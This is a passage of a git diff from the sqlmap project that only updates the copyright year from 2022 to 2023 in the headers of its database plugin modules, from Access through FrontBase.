index 6359d422d74..492bc5d7e57 100644
--- a/plugins/dbms/access/connector.py
+++ b/plugins/dbms/access/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py
index 04a050a429e..9d6484aa98e 100644
--- a/plugins/dbms/access/enumeration.py
+++ b/plugins/dbms/access/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py
index 6204a4074e6..b272956f949 100644
--- a/plugins/dbms/access/filesystem.py
+++ b/plugins/dbms/access/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py
index e1227bef556..c6226bfdfeb 100644
--- a/plugins/dbms/access/fingerprint.py
+++ b/plugins/dbms/access/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py
index 4ad9b1d5eb3..542f215d440 100644
--- a/plugins/dbms/access/syntax.py
+++ b/plugins/dbms/access/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py
index ab9fbb8084f..b2c52b490a0 100644
--- a/plugins/dbms/access/takeover.py
+++ b/plugins/dbms/access/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py
index 90d07eeb9b7..63ee1317691 100644
--- a/plugins/dbms/altibase/__init__.py
+++ b/plugins/dbms/altibase/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py
index 176f709b59d..e19ad4bfbf3 100644
--- a/plugins/dbms/altibase/connector.py
+++ b/plugins/dbms/altibase/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py
index 0628c8eebf5..e565b49c4ca 100644
--- a/plugins/dbms/altibase/enumeration.py
+++ b/plugins/dbms/altibase/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/altibase/filesystem.py
+++ b/plugins/dbms/altibase/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py
index fec86354f04..eb471a72433 100644
--- a/plugins/dbms/altibase/fingerprint.py
+++ b/plugins/dbms/altibase/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py
index 51d87d21225..b6b6c633dc8 100644
--- a/plugins/dbms/altibase/syntax.py
+++ b/plugins/dbms/altibase/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py
index 876c40a5571..6edc833ba4e 100644
--- a/plugins/dbms/altibase/takeover.py
+++ b/plugins/dbms/altibase/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/__init__.py b/plugins/dbms/cache/__init__.py
index dbe98e32de4..f9409fbc762 100644
--- a/plugins/dbms/cache/__init__.py
+++ b/plugins/dbms/cache/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py
index 03706f0911b..000db10fc00 100644
--- a/plugins/dbms/cache/connector.py
+++ b/plugins/dbms/cache/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py
index 56e580f00b7..bc81558c4be 100644
--- a/plugins/dbms/cache/enumeration.py
+++ b/plugins/dbms/cache/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/filesystem.py b/plugins/dbms/cache/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/cache/filesystem.py
+++ b/plugins/dbms/cache/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py
index d226529340e..feca88a5ba5 100644
--- a/plugins/dbms/cache/fingerprint.py
+++ b/plugins/dbms/cache/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/syntax.py b/plugins/dbms/cache/syntax.py
index ec33fa6f7bb..6ee81215240 100644
--- a/plugins/dbms/cache/syntax.py
+++ b/plugins/dbms/cache/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/takeover.py b/plugins/dbms/cache/takeover.py
index 681a2355cc5..cf933aee3e3 100644
--- a/plugins/dbms/cache/takeover.py
+++ b/plugins/dbms/cache/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py
index 9d9a40b8aa6..843b750212e 100644
--- a/plugins/dbms/cratedb/__init__.py
+++ b/plugins/dbms/cratedb/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py
index 2b9b7782991..15a2b48e358 100644
--- a/plugins/dbms/cratedb/connector.py
+++ b/plugins/dbms/cratedb/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py
index 9f7c802d4bc..ce0ad614b26 100644
--- a/plugins/dbms/cratedb/enumeration.py
+++ b/plugins/dbms/cratedb/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/cratedb/filesystem.py
+++ b/plugins/dbms/cratedb/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py
index 58b4796b4df..26ee988e985 100644
--- a/plugins/dbms/cratedb/fingerprint.py
+++ b/plugins/dbms/cratedb/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/cratedb/syntax.py
+++ b/plugins/dbms/cratedb/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py
index 3c832735128..87195fd1fdb 100644
--- a/plugins/dbms/cratedb/takeover.py
+++ b/plugins/dbms/cratedb/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py
index 09716acd1f7..854ed4c0f70 100644
--- a/plugins/dbms/cubrid/__init__.py
+++ b/plugins/dbms/cubrid/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py
index e08b89a15a2..1be6d7d1a33 100644
--- a/plugins/dbms/cubrid/connector.py
+++ b/plugins/dbms/cubrid/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py
index 1a88581f3cc..edc43413141 100644
--- a/plugins/dbms/cubrid/enumeration.py
+++ b/plugins/dbms/cubrid/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/cubrid/filesystem.py
+++ b/plugins/dbms/cubrid/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py
index 14e34215988..375ee52e9e6 100644
--- a/plugins/dbms/cubrid/fingerprint.py
+++ b/plugins/dbms/cubrid/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py
index c387389d31b..3b75df1656e 100644
--- a/plugins/dbms/cubrid/syntax.py
+++ b/plugins/dbms/cubrid/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py
index 361e4909e41..063b2a2d56e 100644
--- a/plugins/dbms/cubrid/takeover.py
+++ b/plugins/dbms/cubrid/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py
index 7bb040ba44b..433dbb2bf12 100644
--- a/plugins/dbms/db2/__init__.py
+++ b/plugins/dbms/db2/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py
index c8d02c1cd59..d83845d98fd 100644
--- a/plugins/dbms/db2/connector.py
+++ b/plugins/dbms/db2/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py
index c5bd233fc5d..aca27237278 100644
--- a/plugins/dbms/db2/enumeration.py
+++ b/plugins/dbms/db2/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/db2/filesystem.py
+++ b/plugins/dbms/db2/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py
index 5f53ff19a19..14e6a56ca97 100644
--- a/plugins/dbms/db2/fingerprint.py
+++ b/plugins/dbms/db2/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py
index 51d87d21225..b6b6c633dc8 100644
--- a/plugins/dbms/db2/syntax.py
+++ b/plugins/dbms/db2/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py
index 1d0ae95f4b4..bcbc4b5e11d 100644
--- a/plugins/dbms/db2/takeover.py
+++ b/plugins/dbms/db2/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py
index f965c1150df..4e1362b8aee 100644
--- a/plugins/dbms/derby/__init__.py
+++ b/plugins/dbms/derby/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py
index 732d6a2316d..004fb2ec83f 100644
--- a/plugins/dbms/derby/connector.py
+++ b/plugins/dbms/derby/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py
index 8bddb5472ba..58dbf9f5901 100644
--- a/plugins/dbms/derby/enumeration.py
+++ b/plugins/dbms/derby/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/derby/filesystem.py
+++ b/plugins/dbms/derby/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py
index c9cb3c0bc9f..2a5a7797359 100644
--- a/plugins/dbms/derby/fingerprint.py
+++ b/plugins/dbms/derby/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/derby/syntax.py
+++ b/plugins/dbms/derby/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py
index 02a7e32bdaa..4628871efcf 100644
--- a/plugins/dbms/derby/takeover.py
+++ b/plugins/dbms/derby/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/__init__.py b/plugins/dbms/extremedb/__init__.py
index 06ed0c841a6..ecc67a1e539 100644
--- a/plugins/dbms/extremedb/__init__.py
+++ b/plugins/dbms/extremedb/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/connector.py b/plugins/dbms/extremedb/connector.py
index c39deba8b48..4b1cf53fb59 100644
--- a/plugins/dbms/extremedb/connector.py
+++ b/plugins/dbms/extremedb/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py
index 2f3e0aff557..c1440dcf64e 100644
--- a/plugins/dbms/extremedb/enumeration.py
+++ b/plugins/dbms/extremedb/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/filesystem.py b/plugins/dbms/extremedb/filesystem.py
index ad668443542..99f47dd3bdf 100644
--- a/plugins/dbms/extremedb/filesystem.py
+++ b/plugins/dbms/extremedb/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py
index 3ac51e2f47e..f0e419a251b 100644
--- a/plugins/dbms/extremedb/fingerprint.py
+++ b/plugins/dbms/extremedb/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/syntax.py b/plugins/dbms/extremedb/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/extremedb/syntax.py
+++ b/plugins/dbms/extremedb/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/takeover.py b/plugins/dbms/extremedb/takeover.py
index d5c85b7f50f..0796d3613ae 100644
--- a/plugins/dbms/extremedb/takeover.py
+++ b/plugins/dbms/extremedb/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py
index 41e96185017..a6155b614f2 100644
--- a/plugins/dbms/firebird/__init__.py
+++ b/plugins/dbms/firebird/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py
index cabd43fdadc..28b0aa682ff 100644
--- a/plugins/dbms/firebird/connector.py
+++ b/plugins/dbms/firebird/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py
index 6da166bb38d..2bf8626174f 100644
--- a/plugins/dbms/firebird/enumeration.py
+++ b/plugins/dbms/firebird/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py
index 2d35c0a7222..f92c3d7acd1 100644
--- a/plugins/dbms/firebird/filesystem.py
+++ b/plugins/dbms/firebird/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py
index 2b0b4d46aa1..b6ddb1c4d8b 100644
--- a/plugins/dbms/firebird/fingerprint.py
+++ b/plugins/dbms/firebird/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py
index b03d1699b19..56831d72ec5 100644
--- a/plugins/dbms/firebird/syntax.py
+++ b/plugins/dbms/firebird/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py
index e4c75689e5b..6ded0437213 100644
--- a/plugins/dbms/firebird/takeover.py
+++ b/plugins/dbms/firebird/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/__init__.py b/plugins/dbms/frontbase/__init__.py
index 449b5dd09b6..53f9a22a8f5 100644
--- a/plugins/dbms/frontbase/__init__.py
+++ b/plugins/dbms/frontbase/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
